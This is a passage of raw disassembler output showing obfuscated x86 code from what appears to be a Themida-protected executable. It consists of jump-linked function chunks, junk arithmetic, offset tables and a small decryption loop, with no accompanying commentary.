XREF: Themida_:0055932Fj add eax, 4 push 32DBh jmp loc_557197 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55F9C3: ; CODE XREF: sub_559C84-1ED9j add edx, edi pop edi jmp loc_5536AE ; --------------------------------------------------------------------------- loc_55F9CB: ; CODE XREF: sub_559C84+1D3j pop ebx pop ebp jmp loc_55351F ; --------------------------------------------------------------------------- loc_55F9D2: ; CODE XREF: sub_559C84-4DE8j or eax, eax jz loc_556108 push dword ptr [edi+28h] push [esp+46h+var_46] push [esp+4Ah+var_4A] pop eax sub esp, 4 mov [esp+4Eh+var_4E], ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 jmp loc_55A116 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55F9FD proc near ; CODE XREF: sub_559C84-2D82j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005561A7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055636E SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0055782D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00558C95 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055F535 SIZE 00000034 BYTES push ebx push [esp+8+var_4] mov ebx, [esp+0] add esp, 4 pop [esp+8+var_8] pop esp mov [esp+0], dx push eax mov ah, 63h mov dh, ah push [esp+4+var_4] jmp loc_5561A7 sub_55F9FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FA1D: ; CODE XREF: sub_559C84+2C82j add edi, edx pop edx jmp loc_555367 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_55496A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FA35: ; CODE XREF: sub_559C84-3C0j add edi, 0BB22553h sub ecx, edi pop edi push ecx push ecx mov ecx, 75061F7Dh xor [esp+44h+var_42+2], ecx pop ecx pop ebp xor ebp, 75061F7Dh pop ecx add eax, ebp pop ebp jmp loc_555251 ; --------------------------------------------------------------------------- loc_55FA5A: ; CODE XREF: sub_559C84-2A1Cj xchg edx, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov ax, word ptr [esp-4+arg_0] push ebp jmp loc_55B235 ; --------------------------------------------------------------------------- loc_55FA6A: ; CODE XREF: sub_559C84-3B4Bj push edx push ecx mov ch, 0ADh jmp loc_55DCA9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55FA73 proc near ; CODE XREF: sub_5576EE+1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055478A SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 36337FABh jmp loc_55478A sub_55FA73 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FA86: ; CODE XREF: sub_559C84-1B27j mov edx, 55120FD6h and edi, edx pop edx xor edi, 55820FD6h and eax, edi push [esp+52h+var_52] push [esp+56h+var_58+2] jmp loc_557C36 ; --------------------------------------------------------------------------- loc_55FAA1: ; CODE XREF: sub_559C84+236Fj push esp pop [esp+46h+var_46] push ecx jmp loc_557AA0 ; --------------------------------------------------------------------------- loc_55FAAB: ; CODE XREF: sub_559C84-2391j push [esp+46h+var_46] jmp loc_55A60C ; --------------------------------------------------------------------------- loc_55FAB3: ; CODE XREF: sub_559C84+37E8j sub ebx, edx push ebp mov ebp, 76FA6311h add ebx, ebp pop ebp mov edx, [esp+48h+var_4A+2] add esp, 4 sub ebx, 2D494D1Eh add ebx, 59A71D84h jmp loc_55EAE9 ; --------------------------------------------------------------------------- loc_55FAD8: ; CODE XREF: sub_559C84+52BBj pop esp mov [esp+5Ah+var_5C+2], esi push 7E75h mov [esp+5Eh+var_60+2], ebx mov ebx, 3C2E3A97h jmp loc_55B382 ; --------------------------------------------------------------------------- loc_55FAEE: ; CODE XREF: sub_559C84+1DBj pop esp mov [esp+40h+var_42+2], ebx mov bl, ch mov ch, byte ptr [esp+40h+var_3E+2] mov byte ptr [esp+40h+var_3E+2], bl jmp loc_55D2BF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55FB01: ; CODE XREF: Themida_:00554E44j push esp pop ebp push edx mov edx, 4 add ebp, 3BB1784Bh jmp loc_55D6BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FB14: ; CODE XREF: sub_559C84-131Aj sub ecx, ebx pop ebx add esi, ecx mov ecx, [esp+0] add esp, 4 push eax push 6725h mov [esp+2+var_4+2], ebp mov ebp, 2 mov eax, ebp pop ebp add esi, eax pop eax jmp loc_555EF3 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554D6A loc_55FB38: ; CODE XREF: sub_554D6A+11j mov esp, [esp+0] sub esp, 4 jmp loc_55E7C0 ; END OF FUNCTION CHUNK FOR sub_554D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FB43: ; CODE XREF: sub_559C84+12B4j mov eax, [esp+38h+var_3A+2] add esp, 4 jmp loc_55DA2E ; --------------------------------------------------------------------------- loc_55FB4E: ; CODE XREF: sub_559C84+4EACj movzx cx, al push edx sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_554610 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55369E loc_55FB65: ; CODE XREF: sub_55369E+Bj jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_55369E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FB6A: ; CODE XREF: sub_559C84-E5Fj pop edx pop [esp+20h+var_20] jmp loc_55CA0C ; --------------------------------------------------------------------------- loc_55FB73: ; CODE XREF: sub_559C84+20DCj push [esp+6Ah+var_6A] pop eax push eax jmp loc_55E536 ; --------------------------------------------------------------------------- loc_55FB7D: ; CODE XREF: sub_559C84+3989j mov edi, [esp+18h+var_18] add esp, 4 jmp sub_55895E ; --------------------------------------------------------------------------- loc_55FB8B: ; CODE XREF: sub_559C84+2718j push esi mov esi, esp add esi, 4 jmp loc_55DA9D ; --------------------------------------------------------------------------- loc_55FB99: ; CODE XREF: sub_559C84+167Cj sub edx, 52DA6294h shr edx, 2 shl edx, 8 jmp loc_55D0F7 ; --------------------------------------------------------------------------- loc_55FBAA: ; CODE XREF: sub_559C84-65B1j mov [esp+12h+var_14+2], ebx mov ebx, 6B6819B6h add edi, ebx jmp loc_55A4AD ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55FBB9: ; CODE XREF: Themida_:00554726j pop edx jmp loc_554865 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FBBF: ; CODE XREF: sub_559C84-843j mov esp, [esp+10h+var_10] jmp loc_5538C5 ; --------------------------------------------------------------------------- loc_55FBC7: ; CODE XREF: sub_559C84-724j mov esi, 261D6CA4h add ebx, esi pop esi jmp loc_556012 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55FBD4: ; CODE XREF: Themida_:0055969Aj xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FBE9: ; CODE XREF: sub_559C84+6E5j sub ebp, ebx pop ebx jmp loc_55F61D ; --------------------------------------------------------------------------- loc_55FBF1: ; CODE XREF: sub_559C84-4018j add esp, 4 jmp sub_5599A2 ; --------------------------------------------------------------------------- loc_55FBFC: ; CODE XREF: sub_559C84+14D6j mov ebp, 0AC6251Bh not ebp neg ebp jmp loc_5596CF ; --------------------------------------------------------------------------- loc_55FC0A: ; CODE XREF: sub_559C84+42B5j push small 93Bh mov [esp+0], ax jmp loc_55D5ED ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsb jmp loc_55E4F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FC1D: ; CODE XREF: sub_559C84-5FECj mov edi, [esp+20h+var_20] jmp loc_55C7E1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55FC25: ; CODE XREF: Themida_:00558FA4j sub dword ptr [esp], 3A5F79A0h pop ecx add ecx, 3A5F79A0h jmp loc_55684C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55FC38: ; CODE XREF: sub_559C84+1EDFj xchg edx, [esp+20h+var_20] jmp loc_556027 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55FC40: ; CODE XREF: Themida_:0055710Aj push ebp mov ebp, 2E7A230Ah shr ebp, 3 push eax mov eax, 48E603A8h dec eax add eax, 0D42E19E7h add ebp, eax pop eax add esi, ebp mov ebp, [esp] add esp, 4 pop ebx jmp loc_55EE8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D58 loc_55FC66: ; CODE XREF: sub_553D58+31CCj pop edx pop ecx sub esp, 4 mov [esp+0], ecx mov ch, 0Ch push ebx mov bl, 9Eh jmp loc_55714D ; END OF FUNCTION CHUNK FOR sub_553D58 ; --------------------------------------------------------------------------- dd offset loc_5BACA7 dd 16E9h, 33133250h, 5BB8B0h, 0FA44B46Bh, 5BACF1h, 0 dd 213h, 2, 1, 6, 0FA44B46Bh, 5 dup(0) dd offset byte_56F90D dd offset loc_573509 dd offset loc_574113 dd offset loc_56E9D2 dd offset loc_564545 dd offset loc_568298 dd offset loc_5753F6 dd offset loc_5711C1 dd offset loc_569A37 dd offset sub_56D464 dd offset sub_573612 dd offset sub_5753A5 dd offset sub_570082 dd offset sub_56E90A dd offset sub_572075 dd offset sub_57266F dd offset sub_56666D dd offset sub_570E81 dd offset sub_562BA0 dd offset sub_56AB51 dd offset sub_56F782 dd offset sub_563FA2 dd offset sub_563152 dd offset sub_575420 dd offset sub_56628B dd offset sub_566117 dd offset sub_56D69D dd offset sub_5745B5 dd offset sub_572D45 dd offset sub_57549C dd offset sub_563207 dd offset sub_5716E8 dd offset sub_573A7F dd offset sub_574F16 dd offset sub_56E96D ; --------------------------------------------------------------------------- or dh, ah push esi add dh, ch retf ; --------------------------------------------------------------------------- dw 56h dd offset sub_572270 dd offset sub_566882 dd offset sub_5697F2 dd offset sub_564BD0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 44h, 56h, 0 ; --------------------------------------------------------------------------- retn 560Eh ; --------------------------------------------------------------------------- align 4 dd offset sub_5619EF dd offset sub_56E0B0 dd offset sub_5747AF dd offset sub_5738FA dd offset sub_572805 dd offset sub_5739E2 dd offset sub_56BD36 dd offset sub_56B06D dd offset sub_572DD7 dd offset sub_56241E dd offset sub_5726FB dd offset sub_560C12 dd offset sub_568764 dd offset sub_574000 dd offset sub_570732 dd offset sub_569FB8 dd offset sub_56931E dd offset sub_56D3AF dd offset sub_574287 dd offset sub_5713A7 dd offset sub_569A75 dd offset sub_56BC97 dd offset sub_5629A9 dd offset sub_560782 dd offset sub_568658 dd offset sub_56D3B7 dd offset sub_561784 dd offset sub_57523A dd offset sub_567CFE dd offset sub_566AF1 dd offset sub_56DFF9 dd offset sub_5690E8 dd offset sub_563ADF ; --------------------------------------------------------------------------- fimul dword ptr [edx] push edi add [ecx-78h], bl push esi add [ebx], dh retn 56h ; --------------------------------------------------------------------------- dd offset loc_569CDC dd offset sub_574AF3 dd offset sub_573D90 dd offset sub_572141 dd offset sub_56EE9F dd offset sub_570A94 dd offset sub_560137 dd offset sub_56D359 dd offset sub_564017 dd offset sub_562EA2 dd offset sub_5734A7 dd offset sub_56E5BB dd offset sub_574CBE dd offset sub_564B0B dd offset sub_56E7C8 dd offset sub_574FC9 dd offset sub_562676 dd offset sub_56DEC6 dd offset sub_562ED9 dd offset sub_56D855 dd offset sub_560EA2 dd offset sub_567CF5 dd offset sub_56264C dd offset sub_56B6D5 dd offset sub_56DDC5 dd offset sub_565BBC dd offset sub_567CC4 dd offset sub_56CD13 dd offset sub_572EDC dd offset sub_5680FB dd offset sub_567D72 dd offset sub_574DC1 dd offset sub_5692D3 dd offset sub_5729DA dd offset sub_56AB93 dd offset sub_569186 dd offset sub_56BD61 dd offset sub_5604FE dd offset sub_5671E1 dd offset sub_565CB7 dd offset sub_567F6F dd offset sub_567866 dd offset sub_569CBC dd offset sub_561F05 dd offset sub_56CC46 dd offset sub_567C58 dd offset sub_56F3B2 dd offset sub_564746 dd offset sub_566400 dd offset sub_5754DA dd offset sub_57109F dd offset sub_56638C dd offset sub_560844 dd offset sub_56306E dd offset sub_566AF9 dd offset sub_56749A dd offset sub_56FD38 dd offset sub_570C6A dd offset sub_569E1B dd offset sub_5680F2 dd offset sub_574503 dd offset sub_569DB5 dd offset sub_57146D dd offset sub_5729F9 dd offset sub_569A84 dd offset sub_571890 dd offset sub_570621 dd offset sub_56592A dd offset sub_56C474 dd offset sub_56D455 dd offset sub_56EF22 dd offset sub_573A8F dd offset sub_56F029 dd offset sub_572641 dd offset sub_570CE4 dd offset sub_56D414 dd offset sub_56FA44 dd offset sub_5662F9 dd offset sub_5747FA ; --------------------------------------------------------------------------- lodsb or al, 56h add [edx], al retf 56h ; --------------------------------------------------------------------------- dd offset sub_5684A6 dd offset sub_571A50 dd offset sub_574229 dd offset sub_572E16 dd offset sub_574A21 dd offset sub_56B1DC dd offset sub_5740F2 ; --------------------------------------------------------------------------- loc_55FF58: ; CODE XREF: Themida_:005A7D08j ; Themida_:005AB483j ... pusha pushf cld call $+5 pop edi sub edi, 6114AF5h mov eax, edi add edi, 611480Dh cmp eax, [edi+2Ch] jnz short loc_55FF76 jmp short loc_55FF89 ; --------------------------------------------------------------------------- loc_55FF76: ; CODE XREF: Themida_:0055FF72j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55FF85 ; --------------------------------------------------------------------------- loc_55FF80: ; CODE XREF: Themida_:0055FF87j add [edi+ecx*4+40h], eax dec ecx loc_55FF85: ; CODE XREF: Themida_:0055FF7Ej or ecx, ecx jnz short loc_55FF80 loc_55FF89: ; CODE XREF: Themida_:0055FF74j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55FF96: ; CODE XREF: Themida_:0055FF9Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55FF96 ; START OF FUNCTION CHUNK FOR sub_56D464 loc_55FF9F: ; CODE XREF: sub_56E0CB-E0DCj ; sub_5653AD:loc_56003Ej ... lodsb add al, 92h jmp sub_56FA15 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- loc_55FFA7: ; CODE XREF: Themida_:00571D26j add esp, 4 xor ebx, esi pop esi sub ebx, 0E43A692Dh jmp loc_57465C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_55FFB8: ; CODE XREF: sub_567CFE-22FCj push edi mov edi, 1 add eax, edi pop edi xor eax, 789FA651h sub ecx, eax pop eax sub esp, 4 mov [esp+0Ch+var_C], ecx add [esp+0Ch+var_C], 7DF95B68h pop ebp push edx mov edx, 5EF93172h jmp loc_56E0FB ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_55FFE5: ; CODE XREF: sub_56E0CB-3265j xchg ecx, [esp+0] mov esp, [esp+0] cmp cx, ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5681F5 loc_55FFF4: ; CODE XREF: sub_5681F5+675Dj pop edx push 7C71h mov [esp+0], eax loc_55FFFD: ; DATA XREF: sub_583550+468o mov eax, 36857CC9h jmp loc_573459 ; END OF FUNCTION CHUNK FOR sub_5681F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_560007: ; CODE XREF: sub_566C83-6618j sub eax, 623660FEh add ebx, eax mov eax, [esp+0] add esp, 4 sub ebx, 41FB5339h add ebx, eax jmp loc_56A763 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_560024: ; CODE XREF: sub_56DA43+5540j mov ebp, ecx mov ecx, [esp+8+var_8] jmp loc_57218C ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_56002E: ; CODE XREF: sub_56AEF2+9596j mov esi, 6F6058AAh jmp loc_57477E ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56504F loc_560038: ; CODE XREF: sub_56504F+6j push esp jmp loc_566F09 ; END OF FUNCTION CHUNK FOR sub_56504F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_56003E: ; CODE XREF: sub_5653AD+3673j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_560043: ; CODE XREF: sub_569AB3+13C7j xchg esi, [esp+1Ch+var_1C] pop esp push eax push ecx mov ecx, 463E4372h mov eax, ecx pop ecx jmp loc_56F333 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; =============== S U B R O U T I N E ======================================= sub_560056 proc near ; CODE XREF: sub_56925C+95A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560A03 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561E44 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00564953 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565023 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567724 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00569EE8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056B143 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056CA31 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056CB17 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056E982 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F91E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572988 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573F9D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573FEC SIZE 00000014 BYTES push ebp jmp loc_56CB17 sub_560056 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56005C: ; CODE XREF: sub_56628B-4F43j push 6EC2h jmp loc_562B97 ; END OF FUNCTION CHUNK FOR sub_56628B ; =============== S U B R O U T I N E ======================================= sub_560066 proc near ; CODE XREF: sub_573876-2F26j ; FUNCTION CHUNK AT 00572631 SIZE 00000008 BYTES push ebx mov ebx, 1096426Eh add ecx, ebx pop ebx jmp loc_572631 sub_560066 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_560074: ; CODE XREF: sub_564D26+8F77j mov ebx, [esp+8+var_8] add esp, 4 add esp, 4 shr ecx, 7 push 2617h mov [esp+4+var_4], edx push ebx push ecx mov ecx, 3F822223h sub [esp+0Ch+var_8], ecx pop ecx mov edx, [esp+8+var_8] add esp, 4 add edx, 3F822223h push ecx mov ecx, edx push ecx pop eax pop ecx push [esp+4+var_4] push [esp+8+var_8] jmp loc_56DE34 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_5600B7: ; CODE XREF: sub_56F1DB-4408j mov eax, 5CC35B23h xor eax, 576D79FDh sub eax, 706B35C3h xor eax, 16E1533Bh not eax xor eax, 725C41DBh add ebx, eax mov eax, [esp+0] add esp, 4 push 44B5h mov [esp+0], ecx mov ecx, 4 sub ebx, 516E0BCCh add ebx, ecx add ebx, 516E0BCCh mov ecx, [esp+0] add esp, 4 xchg ebx, [esp-4+arg_0] mov esp, [esp-4+arg_0] sub eax, 13510169h mov ebx, eax push [esp-4+arg_0] pop eax add esp, 4 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; START OF FUNCTION CHUNK FOR sub_569CBC loc_560115: ; CODE XREF: sub_569CBC+5j push 47EBh jmp loc_571B9F ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56011F: ; CODE XREF: sub_564D26-16D6j dec ebp dec ebp sub ebp, 0A8E51A2Ah add ebx, ebp pop ebp sub ecx, 1A65219Ch add ecx, ebx jmp loc_56FAFD ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_560137 proc near ; DATA XREF: Themida_:0055FE10o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561387 SIZE 00000029 BYTES mov cx, [esp+0] push 952h jmp loc_561387 sub_560137 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_560145: ; CODE XREF: sub_56FD97-A387j and ebp, 5E0A77FDh push edi mov edi, 3D6A72BAh jmp sub_56D1DD ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_560156: ; CODE XREF: sub_5620B7-B5Cj mov ah, 22h jmp loc_56ED11 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56015D: ; CODE XREF: sub_574F16+3j push small 5A0Ch mov [esp+2+var_2], cx push edx jmp loc_5724D3 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_56016B: ; CODE XREF: sub_56EE9F-C6ECj add ecx, edi pop edi xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] pop esp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_56017D: ; CODE XREF: sub_56749A+1DBDj sub esi, 4 xchg esi, [esp+18h+var_18] pop esp jmp loc_57250C ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56018C: ; CODE XREF: sub_561541+119B3j mov edx, ebp pop ebp sub edx, ecx push edx jmp loc_56B4FB ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_560197: ; CODE XREF: sub_5678CB+D496j sub al, ch add al, 7Ch pop ecx push edx jmp loc_567C91 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_5601A2: ; CODE XREF: sub_57109F-57CCj pop esp jmp loc_5741E8 ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5601A8: ; CODE XREF: sub_561418+B603j mov [esp+0], ecx jmp loc_574A64 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_5601B0: ; CODE XREF: sub_5685B2+540Cj pop ebx jmp loc_5629DB ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_5601B6: ; CODE XREF: sub_571C93+Fj shr edi, 4 inc edi jmp loc_56C9AD ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5601BF: ; CODE XREF: sub_563A7F+B4B6j sub edx, esi add edx, 679C747Ch xchg edx, esi pop edx push ecx mov ecx, 5FEF8399h sub esi, 15A27958h add esi, ecx add esi, 15A27958h mov ecx, [esp+0] jmp loc_5672B7 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_5601E6: ; CODE XREF: sub_561541+1010Cj xor [esp+4+var_4], esi xor esi, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+0], ebx push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 jmp sub_56504F ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_560203: ; CODE XREF: sub_560844+8103j pop edx xchg esi, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_56D823 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_56020F: ; CODE XREF: sub_56FD38+3j pop eax push 104Fh mov [esp+4+var_4], eax jmp loc_56DD73 ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- loc_56021D: ; CODE XREF: Themida_:00570920j add esp, 4 add eax, esi push dword ptr [esp] push dword ptr [esp] jmp loc_57471C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_56022D: ; CODE XREF: sub_560C12+73C1j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_560232: ; CODE XREF: sub_5684A6-1871j push edi mov edi, 25371A82h push ecx mov ecx, 67374DE5h sub ecx, 5D195BB2h dec ecx dec ecx sub ecx, 0C8E5A84Ah or edi, ecx pop ecx push ecx mov ecx, 5D1F5DCAh neg ecx sub ecx, 5B7342FBh and ecx, 647D28A1h jmp loc_5647A5 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572669 loc_560268: ; CODE XREF: sub_572669-2655j add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_56EC70 ; END OF FUNCTION CHUNK FOR sub_572669 ; =============== S U B R O U T I N E ======================================= sub_560276 proc near ; CODE XREF: sub_570732+3B7Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005631E0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056E049 SIZE 00000013 BYTES sub esp, 4 mov [esp+4+var_4], esi push edx push 66AB2425h mov edx, [esp+0Ch+var_C] push esi jmp loc_5631E0 sub_560276 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56028B: ; CODE XREF: sub_56F1DB-288Dj sub esi, 768C4A0Fh jmp loc_566F28 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_560296: ; CODE XREF: sub_5715F0-2349j pop ecx mov ecx, [esp-4+arg_0] add esp, 4 jmp loc_56B5EE ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_5602A2: ; CODE XREF: sub_574896-72E5j add eax, ecx pop ecx add eax, 4 jmp loc_572400 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_5602AF: ; CODE XREF: sub_56CC46-7048j mov edx, 13E61D14h add edx, 57635537h push esi push 6B49724Fh mov esi, [esp+8+var_8] add esp, 4 xor edx, esi pop esi sub esp, 4 mov [esp+4+var_4], edx mov edx, 70B56022h sub esi, edx jmp loc_56045D ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5602DE: ; CODE XREF: sub_561418+FCAj pop esp push ebx push esi mov esi, 1AEC4EEDh add esi, 0E513B114h mov ebx, esi pop esi add esi, ebx pop ebx push 3DB7h jmp loc_574499 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_5602FC: ; CODE XREF: sub_57146D+B34j or bh, 4Ah sub bh, 2Fh jmp loc_56F294 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_560307: ; CODE XREF: sub_5678CB+2795j mov edx, [esp+8+var_A+2] add esp, 4 xchg edi, [esp+4+var_4] pop esp mov [esp+0], eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56031C: ; CODE XREF: sub_564D26+249j sub ecx, ebp mov ebp, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], ebp mov ebp, esp push ecx mov ecx, 4874678Fh push 6305h jmp loc_56EE02 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 